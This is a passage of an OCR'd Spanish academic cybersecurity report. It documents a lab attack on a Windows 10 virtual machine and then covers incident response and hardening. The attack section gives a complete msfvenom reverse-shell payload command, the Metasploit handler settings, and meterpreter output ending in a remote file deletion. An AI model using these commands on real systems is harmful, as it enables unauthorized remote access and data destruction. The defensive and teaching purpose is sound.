al administrador a través de WhatsApp Web, aprovechando la confianza del
usuario y la falta de medidas de seguridad en la maquina receptora.

» Ejecucion del Archivo Malicioso: El administrador descargé y ejecuto el archivo
malicioso, lo que permitio que el atacante obtuviera acceso remoto al sistema

comprometido.
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» Utilizacion de Msfvenom y Metasploit: El atacante pudo haber utilizado la
herramienta Msfvenom para crear una carga Gtil maliciosa en forma de un archivo
ejecutable (.exe), y luego utilizar Metasploit para abrir una sesién de meterpreter

y obtener control sobre el sistema comprometido.

Medidas Correctivas:

» Mantenimiento de Actualizaciones: Es crucial mantener actualizado el sistema
operativo y todas las aplicaciones con parches de seguridad para mitigar el riesgo
de explotacion de vulnerabilidades conocidas.

» Concienciacion del Usuario: Se deben proporcionar capacitaciones regulares de
concienciacion sobre seguridad para que los usuarios aprendan a identificar y
evitar la descarga y ejecucion de archivos maliciosos.

» Activacion de Sistemas de Seguridad: Se recomienda activar y configurar
correctamente los sistemas de seguridad, como el Firewall de Windows, Windows
Defender y un antivirus actualizado, para proteger el sistema contra posibles

amenazas.

En conclusion, la explotacion de vulnerabilidades en el escenario propuesto destaca la
importancia de mantener las buenas practicas de seguridad cibernética, incluyendo la
actualizacion de sistemas, la concienciacion del usuario y la activacion de sistemas de

seguridad para proteger contra posibles ataques.
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11. Evidencia de la explotacién de la vulnerabilidad identificada.

Figura 9 - Configuracion de red en VirtualBox

Evidencia de la explotacion de la vulnerabilidad identificada.

Paso 1: Configuracién de red en VirtualBox

2 Ve a Configuracion > Red.
3.Selecciona "Adaptador puente” en el modo de conexién de red.
4 Elige el adaptador de red fisico que esté conectado a tu red local.

5 Haz clic en "Aceptar” para aplicar los cambios.
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Fuente: Elaboracion propia.

(LY
0 .

Figura 10 - Creacion de Maquina Virtual Kali Linux
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Fuente: Elaboracion propia.
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Figura 11 - Creacion de Maquina Virtual Windows 10
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Figura 12 - Configuracién de Instalacion desatendida de SO.
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Configuracion de instalacion desatendida de SO invitado

Puede configurar la instalacién desatendida del SO invitade modificando el usuario, contrasefia y nombre de
maquina. Adicionalmente puede habilitar la instalacién de los complementos del invitado. Para los invitados
Windows es posible proporcionar una clave de producto.

Usuario y contrasefia

Nombre de usuario: admin
Contrasefia: 12345

Repetir contrasefia: 12345

[} Complementos del invitado

ISO de complementos del invitado:

¥

bt

el

Opciones adicionales

Clave de prodcuto:  #### #-# ## ##-H##H#H-REHHH-

Nombre de maquina: yindows10

Nombre de dominio: myguest.virtualbox.org
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« C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso
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Fuente: Elaboracion propia.
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Figura 13 - Preparacion de la maguina Windows 10

Evidencia de la explotacion de la vulnerabilidad identificada.

Paso 2: Preparacién de la maquina victima (Windows 10)

1.Deshabilita Windows Defender, el firewall, el antivirus y cualquier otro software de
seguridad en la maquina virtual de Windows 10.

2 Asegurate de que la maquina virtual de Windows 10 esté en la misma red que la maquina
atacante (Kali Linux).
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Fuente: Elaboracion propia.

Figura 14 - Configuracién Firewall de Windows Defender
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Fuente: Elaboracién propia.
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Figura 15 - Configuracion de antivirus y proteccion contra amenazas
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Fuente: Elaboracion propia.

Figura 16 - Configuracién de Windows Defender
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Fuente: Elaboracién propia.
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Figura 17 - Creacion del payload con msfvenom

Evidencia de la explotacion de la vulnerabilidad identificada.

Paso 3: Creacion del payload con msfvenom

1. En Kali Linux, abre una terminal.
2. Ejecuta el comando msfvenom para iniciar la herramienta.

3. Ejecuta el siguiente comando para crear el payload con msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST=172.20.10.3 LPORT=443 -e
x64/xor_dynamic -f exe > /home/yira/documents/PoC_1140827779.exe

Reemplaza IP_KALI con la direccion IP de tu maquinaKali Linuxy /Directorio_guardar_ejecutable/Nombreejecutable.exe
con la ruta y nombre deseado para el archivo ejecutable.
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Fuente: Elaboracion propia.

Figura 18 - Creacion Payload
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Figura 19 - Cargue Payload

Places

Devices

Network

o

Yira Marcela Pefia Gardia

File Actions
“[[B"[[BE

17

20.
/PoC_1140827779.exe

Fuente: Elaboracion propia.

Figura 20 - Evidencia Payload

Minimize all open wind

&= + A « Ay

Places
&= Computer
| Nig
~ | Desktop
@ Recent
' Trash
®

Documents
@ Music
Pictures
Videos
Downloads
Devices
E File System
Network
[ Browse Network

Yira Marcela Pefia Garcda

PoC_1140827779.e
xe

Edit View
valid g

documents

Help

tep win
yira/documents/PoC_114

lo ¢

file: 14.0 KiB (14336 bytes) | Free space: 9.6 GiB

Fuente: Elaboracion propia.

62

a 22:56

a ¢

windows x64
€_1140827779.exe

windows x64
e/yira/documents



Figura 21 - Configuracion de msfconsole y ejecucion del exploit

Evidencia de la explotacion de la vulnerabilidad identificada.

Paso 4: Configuracion de msfconsole y ejecucion del exploit

1. En Kali Linux, abre una terminal.

2. Ejecuta el comando msfconsole para iniciar Metasploit.

3. Dentro de msfconsole, utiliza el siguiente comando para seleccionar el exploit:
use exploit/multi/handler

Configura los parametros del exploit con los siguientes comandos:

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 172.20.10.3

set LPORT 443

Ejecuta el exploit con el comando exploit.
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Fuente: Elaboracion propia.

Figura 22 - Ingreso al Payload
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63

Universidad Nac:



Figura 23 - Use exploit/multi/handler
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Fuente: Elaboracion propia.

Figura 24 - Set LPORT
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ploit Documentation: https://docs.metasploit.com/

se exploit/multi/hand

ng configured payload

ploit( ) > set
payload = windows/x64/meterpret
msf6 exploit( ) > set LH
LHOST = 172.20.10.3
ms exploit(
LPORT = 443
msf6 exploit( )y > 1

4/meterpreter/reverse_tcp
) > set LPORT 443

Yira Marcela Pefia Garda

Fuente: Elaboracion propia.
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Figura 25 - Started Reverse

File Actions Edit View Help

2

8
q

Home

Yira Marcela Pefia Garcia

Fuente: Elaboracion propia.

Figura 26 - Ejecucién del archivo .exe en la maquina victima

Evidencia de la explotacion de la vulnerabilidad identificada.

Paso 5: Ejecucion del archivo .exe en la maquina victima

1. En la maquina virtual de Windows 10, ejecuta el archivo .exe generado previamente.

2. Una vez ejecutado, el ataque finalizara con la apertura de un meterpreter en la maquina de
Windows 10.

Yira Marcela Pefia Garcia

Ing. De Sistemnas ot

Especialista en Seguridad Informdtica | [INAD trverscasacont | acrenrapa
L)

Fuente: Elaboracion propia.
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Figura 27 - Evidencia de la ejecucion del archivo

uep B = | Deseargas
Compre  vita op

« 1 &+ Eteequpo 5 Descargas

# Acceso ripido.

. s

& Descargas
Documentos

hoy (1

o
[ PoC_1140827779 (1)

& Imégenes
»

B Videss

@ Onedive
9 Exte equipe

b Red

1 dlemento

1131 PM

M O Escribe aqui para buscar W H @ = = @ ASEWDW 0, §

Yira Marcela Pefia Garda

Fuente: Elaboracion propia.

Figura 28 - Meterpreter

yira@yira: ~
File Actions Edit View
— LPORT = 443
msf6 exploit(

Started reverse TCP handler on 172.20.10.3:443

tes) to 172.20.10.5
tes) to 17 .10.5
Failed to load tension: uninitialized constant Rex::Post::Meterpreter::
Extensions ::Stdapi::Stdapi
Did you mean? STDIN
Meterpreter session 2 opened (172.20.10.3:443
@ D S 24-03-17 00:57:10 -0500

- 172.20.10.5:55114) at 20

Devices meterpreter >
E o meterpreter >

meterpreter >
meterpreter > Meterpreter session 1 opened (172.20.10.3:443 — 172.20.10.
5:55113) at 2024-03-17 00:57:12 -0500

Yira Marcela Pefia Garda

Fuente: Elaboracion propia.
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Figura 29 - Meterpreter sysingo

File Actions Edit View Help

Yira Marcela Peiia Garda

Fuente: Elaboracion propia.

Figura 30 - Acceso remoto y manipulacién con Meterpreter

Evidencia de la explotacién de la vulnerabilidad identificada.

Paso 6: Acceso remoto y manipulacion con meterpreter

1. Una vez que el meterpreter esté activo, puedes utilizar comandos especificos de meterpreter para
acceder a la maquina de Windows 10 y realizar acciones como navegar por el sistema de archivos,
encontrar y eliminar archivos, entre otros.

2. Documenta todos los comandos que utilices en meterpreter para alcanzar la ruta del archivo de
textoy eliminarlo.

Yira Marcela Pefia Garcia
Ing. De Sistemas %

s e . e Universidad Nacional -, ACREDITADA
Especialista en Seguridad Informética o Wy Abierta y a Distancia 1/, EN ALTA CALIDAD |
[ ] ogo

~ s

Fuente: Elaboracion propia.
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Figura 31 - Comando stdapi

Entramos al equipo con el comando stdapi

Luego miramos el directorio de archivos con el comando Is

Fuente: Elaboracion propia.

Figura 32 - Variable de entorno para eliminar el archivo en la maquina victima

Utilizamos una variable de entorno para eliminar el archivo:

shell
del %USERPROFILE%\Desktop\DatosEstudiante.txt

exit

Yira Marcela Pefia Garcia

Fuente: Elaboracion propia.
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Figura 33 - Verificacion de la eliminacion del archivo

Verificamos la eliminacion del archivo en Windows 10
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Yira Marcela Pefia Gardia

Fuente: Elaboracion propia.

12. Respuesta a un Ataque Informético en Tiempo Real: Procedimientos del

Equipo Blue Team

Cuando se enfrenta a un ataque informatico en tiempo real, un experto en ciberseguridad
debe tomar una serie de pasos para identificar y responder de manera efectiva. A
continuacion, se detallan los pasos comunes que un experto en ciberseguridad tomaria

para identificar dicho ataque:

Paso 1: El primer paso es mantener un monitoreo constante de la red y los sistemas en
busca de actividades sospechosas o anomalias. Esto puede realizarse mediante
herramientas de monitoreo de red y sistemas que registran y analizan el trafico y el

comportamiento del sistema.
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Paso 2: Revisar los registros de eventos generados por los sistemas, aplicaciones y
dispositivos de red en busca de indicadores de compromiso (IOCs) y actividades
andémalas. Los registros pueden incluir registros de firewall, registros de servidor,

registros de aplicaciones, entre otros.

Paso 3: Configurar sistemas de deteccion de intrusiones (IDS) o sistemas de deteccion
y prevencion de intrusiones (IDPS) para generar alertas ante actividades sospechosas o
ataques conocidos. Estas alertas pueden incluir intentos de acceso no autorizado, trafico

malicioso 0 comportamientos anémalos.

Paso 4: En caso de que se haya identificado una intrusiébn o compromiso, realizar un
andlisis forense exhaustivo de los sistemas afectados para determinar la naturaleza y el
alcance del ataque. Esto implica preservar la evidencia digital, recopilar datos relevantes

y realizar analisis forenses para reconstruir el incidente.

Paso 5: Colaborar con otros equipos de seguridad, como el equipo de respuesta a
incidentes informaticos (CSIRT), el equipo legal y de cumplimiento, y las autoridades
pertinentes en caso de ser necesario. La coordinacion entre equipos es crucial para una

respuesta eficaz y para minimizar el impacto del ataque.

Paso 6: Una vez identificado el ataque, implementar contramedidas para contener y
mitigar el impacto de este. Esto puede incluir la aplicacion de parches de seguridad, la
configuracion de reglas de firewall, la eliminacién de malware, la restriccidn de cuentas

comprometidas, entre otras acciones.
Paso 7: Realizar una revisién exhaustiva del incidente una vez que se haya contenido y
resuelto para identificar lecciones aprendidas, areas de mejora y medidas preventivas

adicionales que se puedan tomar para fortalecer la seguridad en el futuro.

Al seguir estos pasos, un experto en ciberseguridad puede identificar y responder de
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manera efectiva a un ataque informatico en tiempo real, minimizando el impacto en la

organizacion y protegiendo los activos de informacion.

12.1. Paso a Paso para Subsanar el Sistema Después del Ataque del Payload

Para subsanar el sistema después de un ataque ejecutado por el equipo Red Team, es
crucial seguir un proceso sistematico para restaurar la integridad y la seguridad del
sistema comprometido. A continuacién, se presenta un paso a paso realizado para
subsanar el sistema ante el evento del Payload teniendo en cuenta el ataque ejecutado

desde el ejercicio:

Paso 1. El primer paso es aislar el sistema comprometido de la red para evitar que el

atacante continle causando dafo o exfiltrando datos sensibles.

Paso 2. Realizar un analisis inicial para determinar cémo se llevo a cabo el ataque, qué
tipo de payload o malware se utilizé y cual fue el vector de ataque empleado por el equipo

Red Team.

Paso 3. Preservar cualquier evidencia digital relacionada con el ataque para su andlisis
forense posterior. Esto puede incluir registros de eventos, archivos sospechosos,

capturas de pantalla, entre otros.

Paso 4. Identificar y detener cualquier proceso o actividad maliciosa que esté en curso
en el sistema comprometido. Esto puede implicar detener procesos sospechosos,

eliminar archivos maliciosos y deshabilitar conexiones de red no autorizadas.
Paso 5. Si es posible, restaurar el sistema comprometido desde una copia de seguridad

conocida y limpia para eliminar cualquier rastro del ataque y garantizar la integridad del

sistema.
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Paso 6. Una vez restaurado el sistema, aplicar todos los parches y actualizaciones de
seguridad disponibles para corregir las vulnerabilidades que podrian haber sido

explotadas durante el ataque.

Paso 7. Revisar y fortalecer la configuracion de seguridad del sistema, incluyendo la
configuracion del firewall, politicas de seguridad, permisos de usuario y otros controles

de acceso.

Paso 8. Realizar un analisis forense exhaustivo del sistema comprometido para identificar
la causa raiz del ataque, los métodos utilizados por el equipo Red Team y cualquier

indicador de compromiso que pueda haber sido dejado en el sistema.

Paso 9. Basado en los hallazgos del analisis forense, actualizar los procedimientos y
politicas de seguridad de la organizacién para prevenir futuros ataques similares y

mejorar la postura de seguridad general.

Paso 10. Implementar medidas de monitoreo continuo y respuesta proactiva para

detectar y responder rapidamente a futuros intentos de intrusién o compromiso.
Siguiendo estos pasos, se pudo subsanar el sistema después de un ataque ejecutado

por el equipo Red Team y restaurar la integridad y la seguridad del entorno de manera

efectiva.
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Tabla 1 - Diferenciacién entre Equipos Blue, Red y Purple Team, y CSIRT

Aspecto Blue Team Red Team Purple Team Equipos
CSIRT
Funcién Defensa y Simulacibn de Combinacion Manejo y
seguridad de ataques de elementos respuesta
los sistemas. cibernéticos. de Bluey Red incidentes de
Team. seguridad.
Actividades  Monitoreo de Ejecucion de Colaboracion Deteccion y
la  red y pruebas de en la analisis de
sistemas, penetracion, planificacion  incidentes,
implementaci identificacion de y ejecucion contencién 'y
on de vulnerabilidade de pruebas mitigacion de
medidas de s, explotacion de seguridad, riesgos,
seguridad, de sistemas, intercambio recuperacion
deteccion y evaluacién dela de de  sistemas
respuesta a eficacia de las conocimiento comprometidos
amenazas, defensas. S y mejores analisis
gestion  de practicas, forense,
incidentes, revision coordinacion
mantenimien conjunta de con partes
to de Ila hallazgos vy interesadas
postura de lecciones internas y
seguridad. aprendidas. externas.
Enfoque Fortalecimie  Actuar como Facilitar la Respuesta
nto de las adversario comunicacion rapida y
defensas de simulado para y efectiva a
una identificar colaboracion incidentes de

organizaciéon

debilidades en
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y proteccion los sistemas y Red Team minimizar el

de sus mejorar la para mejorar impacto en la
activos  de postura de la eficacia de organizacion y
informacion.  seguridad. las pruebas proteger sus

de seguridad activos de

y larespuesta informacion.
a incidentes.

Fuente. Elaboracion propia

Mientras que el equipo Blue Team se enfoca en la defensa y seguridad de los sistemas,
el equipo Red Team realiza pruebas simuladas de ataque, el equipo Purple Team
fomenta la colaboracion entre ambos y los equipos de respuesta a incidentes informaticos
se ocupan de manejar y responder a incidentes reales cuando ocurren. Cada uno
desemperfia un papel crucial en el panorama de la ciberseguridad, contribuyendo a la

proteccion y resiliencia de las organizaciones frente a las amenazas cibernéticas.

13. Funcién y Tutorial de CIS (Center for Internet Security) en Equipos Blue Team

Dentro de los equipos Blue Team, el Center for Internet Security (CIS) desempefia un
papel fundamental al proporcionar pautas, mejores practicas y recursos para fortalecer la
seguridad de los sistemas de una organizacion. Las principales funciones de CIS dentro

de los equipos Blue Team incluyen:

» CIS desarrolla Benchmarks de seguridad, que son guias detalladas y especificas
para diversas tecnologias y plataformas, incluyendo sistemas operativos,
servidores, aplicaciones y dispositivos de red. Estas Benchmarks ofrecen
configuraciones seguras recomendadas y ayudan a los equipos Blue Team a
fortalecer sus defensas contra una amplia gama de amenazas cibernéticas.

» CIS promueve la adopcion de mejores practicas de seguridad cibernética a través

de sus Benchmarks y otros recursos. Estas practicas incluyen la implementacion
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de controles de seguridad, la gestion adecuada de contrasefas, la aplicacion de
parches y actualizaciones de seguridad, entre otros aspectos fundamentales de la
seguridad de la informacion.

» CIS proporciona orientacion técnica y asesoramiento sobre temas de seguridad
cibernética a los equipos Blue Team. Esto puede incluir recomendaciones sobre
como configurar sistemas de manera segura, cOmo responder a incidentes de
seguridad y como mitigar vulnerabilidades conocidas.

» CIS facilita la colaboracion y el intercambio de informacion entre profesionales de
la seguridad cibernética a través de su comunidad en linea y eventos educativos.
Esto permite que los equipos Blue Team se mantengan al tanto de las ultimas
amenazas y tendencias en seguridad, y les brinda la oportunidad de aprender de
las experiencias de otros profesionales.

CIS juega un papel crucial en apoyar los esfuerzos de los equipos Blue Team al
proporcionar orientacion, recursos y mejores practicas de seguridad cibernética. Al seguir
las recomendaciones y pautas de CIS, los equipos Blue Team pueden fortalecer sus
defensas y proteger efectivamente los activos de informacion de una organizacién contra

las amenazas cibernéticas.??

14. Tutorial sobre cémo funciona el Center for Internet Security (CIS) y como

encontrar los recursos y tutoriales que ofrece:

Paso 1: Acceder al sitio web de CIS
» Abre tu navegador web preferido.
» En la barra de direcciones, escribe "www.cisecurity.org" y presiona Enter.

» Seras dirigido al sitio web oficial del Center for Internet Security.

23 Angarita, J. CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS BLUE TEAM Y
RED TEAM JH. 2021.
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Paso 2: Explorar los recursos y tutoriales

» Unavez en el sitio web de CIS, explora las diferentes secciones del menu principal.
Puedes encontrar enlaces como "Benchmarks", "Best Practices", "Resources", o
"Solutions".

» Haz clic en la seccidn que te interese. Por ejemplo, si estas buscando Benchmarks
para sistemas operativos, podrias hacer clic en "Benchmarks" o "Best Practices".

» Dentro de la seccion seleccionada, busca enlaces especificos que te dirijan a los
recursos que necesitas. Por ejemplo, podrias encontrar enlaces como "Windows
10 Benchmark" o "Security Best Practices Guide".

» Haz clic en el enlace relevante para acceder al recurso que deseas explorar.

Paso 3: Descargar y utilizar los recursos
» Una vez que accedas al recurso deseado, revisa el contenido proporcionado.
Puedes encontrar guias detalladas, documentos PDF, listas de verificacion,
herramientas de evaluacion y mas.
» Si deseas descargar un recurso, busca un enlace de descarga o0 un boton
designado para este proposito.
» Haz clic en el enlace de descarga y sigue las instrucciones para guardar el recurso

en tu computadora o dispositivo.

Paso 4: Implementar las mejores practicas y recomendaciones
» Utiliza los recursos y tutoriales descargados para implementar las mejores
practicas y recomendaciones de seguridad en tus sistemas y redes.
» Sigue las instrucciones proporcionadas en los documentos para configurar
correctamente tus sistemas y mejorar tu postura de seguridad cibernética.
» Considera la posibilidad de realizar evaluaciones periddicas utilizando las
herramientas vy listas de verificaciébn proporcionadas por CIS para garantizar el

cumplimiento continuo de las mejores practicas de seguridad.
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Paso 5: Mantenerse actualizado
» Regresa al sitio web de CIS periddicamente para buscar actualizaciones,
revisiones o nuevos recursos que puedan estar disponibles.
» Mantente al tanto de las noticias y alertas de seguridad proporcionadas por CIS

para estar informado sobre las Ultimas amenazas y vulnerabilidades.

Recomendacion: Considera unirte a la comunidad de CIS para acceder a recursos
exclusivos, participar en discusiones y colaborar con otros profesionales de la
ciberseguridad.

Siguiendo estos pasos, podras aprovechar al maximo los recursos y tutoriales que ofrece

el Center for Internet Security para mejorar la seguridad de tus sistemas y redes.

Tabla 2. Diferencias entre SIEM y XDR

Caracteristica SIEM XDR

Significado Sistema de gestién de Plataforma de deteccién y

informacion 'y  eventos de respuesta extendida.

seguridad.

Enfoque Se centra en la recopilacion, Amplia la cobertura para

correlacién y analisis de registros incluir endpoints, redes vy

de eventos de seguridad. otros puntos de datos.
Datos gue Principalmente  registros de Datos de multiples fuentes,
recopila eventos de seguridad, incluyendo incluyendo endpoints, redes,

registros de firewalls, registros de aplicaciones, nubes, entre
servidores, registros de otros.

aplicaciones, entre otros.

Funcionalidades Analisis de seguridad, correlacion Deteccion avanzada de
de eventos, generacion de amenazas, analisis de

alertas, gestidbn de incidentes, comportamiento, respuesta
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cumplimiento normativo.

automatizada a incidentes,

orquestacion de seguridad.

Integracion de

datos

de

fuentes de seguridad y redes para

Integra  datos diferentes

un analisis centralizado.

Se integra con endpoints,
redes y otros sistemas de
seguridad para proporcionar
una vista mas amplia y

contexto adicional.

Automatizacion

de

automatizacion para tareas de

Capacidad limitada

seguridad.

Incorpora automatizacion
avanzada para acciones de
respuesta a incidentes, como
la contencion y la

remediacion.

Alcance

Centrado en la monitorizacion de
eventos de seguridad y gestién de
logs.

Amplio alcance que abarca
deteccion, investigacion vy
respuesta automatizada a
amenazas en varios puntos
de la infraestructura de

seguridad.?*

Fuente. Elaboracion propia.

15.

Herramientas GPL para Deteccion de Ataques Informaticos

Snort: Snort es un sistema de deteccion de intrusiones de red (NIDS) de cédigo abierto
y una de las herramientas mas populares en su categoria. Puede realizar analisis en
tiempo real del trafico de red en busca de patrones y firmas asociadas con ataques
conocidos.

Caracteristicas:

» Deteccion de intrusiones basada en reglas.

24 Advance. XDR VS SIEM - Advance Networks. https://advance-nt.com [pagina web]. [Consultado el 9,
abril, 2024]. Disponible en Internet: <https://advance-nt.com/2021/08/10/xdr-vs-siem/>.
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» Soporte para multiples protocolos de red.

» Personalizacion de reglas para adaptarse a las necesidades especificas.

» Integracion con otras herramientas de seguridad y sistemas de gestién de eventos
de seguridad (SIEM).?®

Suricata: Suricata es otro sistema de deteccion de intrusiones de red (NIDS) de cédigo
abierto que ofrece un rendimiento excepcional y capacidades avanzadas de analisis de
trafico de red. Es altamente escalable y puede detectar una amplia gama de amenazas
en tiempo real.
Caracteristicas:

» Analisis de trafico en tiempo real con alta velocidad y rendimiento.

» Deteccion de amenazas basada en reglas y patrones de comportamiento.

» Soporte para la inspeccién profunda de paquetes (DPI) para una mayor visibilidad.

» Integracion con otros sistemas de seguridad y herramientas de gestion.

OSSEC: OSSEC (Open Source HIDS Security) es un sistema de deteccién de intrusiones
basado en host (HIDS) de cédigo abierto que proporciona monitoreo de integridad del
sistema, deteccidn de intrusiones y respuesta a incidentes en entornos distribuidos.
Caracteristicas:
» Monitoreo de logs y archivos criticos del sistema en busca de actividades
sospechosas.
» Deteccion de cambios en archivos de sistema y registros.
» Analisis de registros de eventos para identificar patrones de comportamiento
andémalos.

» Alertas en tiempo real y notificaciones de incidentes.

Estas son tres herramientas de deteccién de ataques informaticos de codigo abierto con

licencia GPL que son ampliamente utilizadas en la comunidad de seguridad cibernética

25 SNORT. Snort. https://www.snort.org/ [pagina web]. [Consultado el 9, abril, 2024]. Disponible en
Internet: <https://www.snort.org/>.
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para fortalecer las defensas contra amenazas informaticas.?®

16. Procedimiento para Asegurar y Erradicar el Ataque Ejecutado en el Anexo 5 -
Escenario 4

Figura 34 - Guia de Hardenizacion?’

Evidencia de la explotacion de la vulnerabilidad identificada.

« 1. Descargue una guia de hardenizacion para Windows 10
« 2. Asegure la maquina que fue afectada con el Payload de la Etapa 4.

« 3. Genere un documento donde mencione el paso a paso utilizado para asegurar y erradicar

el ataque ejecutado en la Etapa 4.

YIRA MARCELA PENA GARCIA
ING. DE SISTEMAS :
ESPECALISTA EN SEGURIDAD INFORMATICA

Fuente: Elaboracion propia.

Figura 35 - ¢ Qué es el Hardening? %8

¢Qué es el Hardening?

« El fortalecimiento de sistemas, o "hardening", es un conjunto de practicas destinadas a reducir la
superficie de ataque en la infraestructura tecnologica. Esto implica identificar y corregir
vulnerabilidades en software, sistemas de datos y hardware, a menudo modificando
configuraciones por defecto para hacerlos mas seguros. El objetivo es minimizar riesgos de
seguridad al limitar los puntos de entrada para posibles ciberataques. Esto se logra mediante la

eliminacion de contrasefias por defecto, la actualizacion de software y firmware, el cifrado de

datos, la configuracion adecuada de dispositivos y permisos de usuario, asi como la

configuracion correcta de herramientas de ciberseguridad.
« A continuacion, te presento una serie de medidas y configuraciones para fortalecer la seguridad

de tus equipos:

YIRA MARCELA PENA GARCIA
ING. DE SISTEMAS =
ESPECALISTA EN SEGURIDAD INFORMATICA

Fuente: Elaboracion propia.

26 OSSEC. OSSEC - World's Most Widely Used Host Intrusion Detection System - HIDS. OSSEC [pagina
web]. [Consultado el 9, abril, 2024]. Disponible en Internet: <https://www.ossec.net/>.

27 |pafiez, C. GUIA DE HARDENING PARA ELEVAR LOS NIVELES DE SEGURIDAD Y MINIMIZAR LOS
RIESGOS DEL TELETRABAJO. 2020.

28 Villamil, F. MANUAL HARDENING PARA EQUIPOS Y SERVIDORES WINDOWS. 2022.
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Figura 36 - Actualizaciones del Sistema Operativo

1. Actualizaciones del Sistema Operativo.

Windows Update
m iTodo esta actualizado!v

Buscar actualizaciones

Mas opciones

Obtén las Gltimas actualizaciones en cuanto estén disponibles

Acivado @D

Mis infc
Pausar actualizaciones Pausar durante 1 semana
Historial de actualizaciones

Opciones avanzadas

Programa Windows Insider

Yira Marcela Pefia Garda
Ing. De Sistemas
Especialista en Seguridad Informtica

Fuente: Elaboracion propia.

Figura 37 - Configuracién de Windows Update

2. Configuracion de Windows Update / Planificacion de las actualizaciones

Windows Update > Opciones avanzadas

Recibir actualizaciones de otros productos de Microsoft
Mi p " Activado

Ponme al dia
R o Activado

Descargar actualizaciones en conexiones de uso medido
5 Activado

() Notificarme cuando sea necesario reiniciar para finazar a actualizacion

Activado

@ Horasactivas

Opciones adicionales

@ Actualizaciones opcionales

@ Optimizacion de distribucion

Yira Marcela Pefia Garda
Ing. De Sistemas
Espedalista en Seguridad Informética

Fuente: Elaboracion propia.
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Figura 38 - Control de Usuarios

3. Control de Usuarios Creados durante la Instalacion
Crear una cuenta con privilegios de administracion

Elige el usuario que quieres cambiar

STYMP

R Cuenta local
Administrador

Protegida por contrasefa

yira marcela pefa garcia
ymptv2803@hotmail.com
Administrador

Protegida por contrasefia

Yira Marcela Pefia Garda
Ing. De Sistemas
Espedalistn en Seguridad Informatica

Fuente: Elaboracion propia.

Figura 39 - Configuracién del Firewall

4. Configuracion del Firewall

s > Panel de control > Sistemay seguridad > Firewall de Windows Defender > Personalizar configuracién

Personalizar la configuracion de cada tipo de red
Puede modificar la configuracion del firewall para cada tipo de red que use.
Configuracién de red privada
° © Activar Firewall de Windows Defender
Bloquear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas
8 Notificarme cuando Firewall de Windows Defender bloquee una nueva aplicacion

w Desactivar Firewall de Windows Defender (no recomendado)

Configuracién de red pablica
° (© Activar Firewall de Windows Defender
Bloquear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas

Notificarme cuando Firewall de Windows Defender bloquee una nueva aplicacién

g Desactivar Firewall de Windows Defender (no recomendado)

Yira Marcela Pefia Garda
Ing. De Sistemas
Especalista en Seguridad Informtica

Fuente: Elaboracion propia.
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Figura 40 - Instalacidon de antivirus/malware

5. Instale un software de antivirus/antimalware que ponga en
cuarentena automaticamente los archivos sospechosos y
manténgalo actualizado.

I McAfee | Total Protection - 5 Devices

Ver tus suscripciones

Activado

Consulta tu nivel

de proteccion 3 VPNsegura

§ protegidos

& Eliminador de cp Protegermds
rastreadores dispositivos

Yira Marcela Pefia Garda
Ing. De Sistemas
Espedalista en Seguridad Informdtica

Fuente: Elaboracion propia.

Figura 41 - Seguridad en navegadores

6. Seguridad en navegadores

& Configuracion

Yira Marcela Peiia Garda

Ing. De Sistemas
Especilista en Seguridad Informética

Fuente: Elaboracion propia.
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Figura 42 - Deshabilitar ejecucion automatica

7. Deshabilitar ejecucion automatica

La funcién de ejecucion automatica permite que los medios extraibles se abran automaticamente al insertarlos en una unidad, lo que puede exponerlos a c6digo malicioso. Desactivar esta
funcion en Windows 10 previene la apertura automatica de unidades USB infectadas. Sigue estos pasos para habilitar o deshabilitar la reproduccion automatica

1.Abre el mend Inicio y selecciona Configuracion > Dispositivos.

2.Haz clic en Reproduccion automatica en la parte inferior izquierda.

3 Activa o desactiva la opcion "Usar reproduccion automatica para todos los medios y dispositivos”.

4.En "Elegir valores predeterminados de reproduccion automatica”, configura la accion predeterminada para cada tipo de medio o dispositivo al conectarlos.

€S ENGINEERING Bluetooth y dispositivos > Reproduccién automatica

coenginestingsantamartahotmail
Usar la reproduceion automatica para todos los medios y dispositivor
@ ) Desactivado
Inicio o o o
Elegir valores predeterminados de reproduccién
Sistema automatica
Bluetooth y dispositivos Unidad extraible
Red e Interet
Personalizacin Tarjeta de memoria
Aplicaciones
Cuentas
Apple iPhone
Hora e idioma
> Juegos
Accesibiidad
Privacidad y seguridad . . » .
Opciones de configuracién relacionadas

Windows Update

Yira Marcela Pefia Garda
Ing. De Sistemas
Especialista en Seguridad Informética

Fuente: Elaboracion propia.

Figura 43 - Deshabilitar el acceso remoto

8. Deshabilitar el acceso remoto

& Conexion a Escritorio remoto

Escritorio remoto
“»¢ Conexion

General Pantala Recursos locales Rendimiento Opciones avanzadas

Autenticacién de senidor

), Laautenticacion de senvidor comprueba que se esté

8 conectando al equipo remoto adecuado. La sequridad de la
comprobacién necesaria para conectarse esta determinada por
la directiva de segurnidad del sistema.

Si se producen errores en la autenticacién de servidor

No conectar

Conectarse desde cualquier parte

@ Establezca la configuracion para conectarse a través de fa
Puerta de enlace de Escritorio remoto cuando esté trabajando
de forma remota

Configuracion.
Autenticacion del usuario

[+F] Usar una cuenta web para iniciar sesion en el equipo remoto
)

) Ocuitar opciones Conectar

Yira Marcela Pefia Garca
Ing. De Sistemas
Espedalista en Seguridad Informética

Fuente: Elaboracion propia.
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Figura 44 - Realizar copias de seguridad

9. Establece copias de seguridad de los archivos.

Realizando copia de seguridad del PC...

Est, tardar unos minutos. Te avisaremos cuando se complete la copia de

INGYIRAMARCELA

VivoBook_ASUSLaptop X4

Realizando copia de seguridad...

Carpetas
Haz una cc . 16 10+ Realizando copia de seguridad,

Aplicaciones
Sl g Realizando copia de seguridad

Configuracion
Recordar la co Realizando copia de seguridad

Yira Marcela Pefia Garda
Ing. De Sistemas
Espedalistn en Seguridad Informética

Fuente: Elaboracion propia.

Figura 45 - Desactivar el inicio de sesion automatico

10. Desactiva el inicio de sesion automatico.

) Ejecutar Cuentas de usuario

Usuarios Opdones avanzadas

Escriba el nombre del programa, carpeta, documento o
== recurso de Internet que desea abrir con Windows. Contrasefias

Puede i das en este equipo,

Abrir: netplwiz

Administrar contrasefias

Aceptar Cancelar Examinar
Administracién avanzada de usuarios

\? Con Usuarios y grupos locales, puede realizar tareas
) avanzadas de administracién de usuarios.

Opciones avanzadas

